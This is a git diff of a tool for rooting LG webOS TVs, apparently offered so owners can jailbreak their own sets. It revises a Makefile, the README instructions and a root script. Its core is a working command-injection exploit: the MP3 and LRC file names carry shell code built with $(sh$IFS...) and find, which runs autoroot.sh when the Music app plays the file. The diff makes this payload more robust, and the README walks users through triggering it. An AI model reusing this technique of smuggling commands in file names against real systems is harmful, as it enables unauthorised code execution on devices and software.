diff --git a/Makefile b/Makefile index b4544dd..c649117 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,8 @@ ZIPOUT = dejavuln-autoroot.zip -FILES = autoroot.sh hbchannel-0.6.3.ipk lol$$(sh$$IFS/tmp/usb$$()/sda/sda1/autoroot.sh).mp3 lol$$(sh$$IFS/tmp/usb$$()/sda/sda1/autoroot.sh).lrc +HAXBASE = lol$$(sh$$IFS$$(find$$IFS/tmp/usb$$IFS-maxdepth$${IFS}3$$IFS-name$${IFS}autoroot.sh)) + +FILES = autoroot.sh hbchannel-0.6.3.ipk $(HAXBASE).mp3 $(HAXBASE).lrc .PHONY: all all: $(ZIPOUT) diff --git a/README.md b/README.md index d010696..4456d82 100644 --- a/README.md +++ b/README.md @@ -15,8 +15,9 @@ which works on webOS 3.5 and newer. 3. Plug the USB drive into your TV. (Make sure it's the only USB drive connected.) 4. Open the USB drive in the Music app and browse to - `lol$(sh$IFS/tmp/usb$()/sda/sda1`. -5. Try to play `autoroot.sh).mp3`. + `lol$(sh$IFS$(find$IFS/tmp`. +5. Try to play the MP3 file + (`usb$IFS-maxdepth${IFS}3$IFS-name${IFS}autoroot.sh)).mp3`). 6. After the pop-up messages tell you rooting is complete, eject the USB drive. diff --git a/autoroot.sh b/autoroot.sh index e470669..6079e7a 100755 --- a/autoroot.sh +++ b/autoroot.sh @@ -13,7 +13,7 @@ set -e -USB_PATH="${USB_PATH:-/tmp/usb/sda/sda1}" +USB_PATH="${USB_PATH:-$(dirname -- "${0}")}" DEBUG="${DEBUG:-}" IPK_SRC="${IPK_SRC:-"${USB_PATH}/hbchannel-0.6.3.ipk"}" diff --git a/lol$(sh$IFS/tmp/usb$()/sda/sda1/autoroot.sh).lrc b/lol$(sh$IFS$(find$IFS/tmp/usb$IFS-maxdepth${IFS}3$IFS-name${IFS}autoroot.sh)).lrc similarity index 100% rename from lol$(sh$IFS/tmp/usb$()/sda/sda1/autoroot.sh).lrc rename to lol$(sh$IFS$(find$IFS/tmp/usb$IFS-maxdepth${IFS}3$IFS-name${IFS}autoroot.sh)).lrc diff --git a/lol$(sh$IFS/tmp/usb$()/sda/sda1/autoroot.sh).mp3 b/lol$(sh$IFS$(find$IFS/tmp/usb$IFS-maxdepth${IFS}3$IFS-name${IFS}autoroot.sh)).mp3 similarity index 100% rename from lol$(sh$IFS/tmp/usb$()/sda/sda1/autoroot.sh).mp3 rename to lol$(sh$IFS$(find$IFS/tmp/usb$IFS-maxdepth${IFS}3$IFS-name${IFS}autoroot.sh)).mp3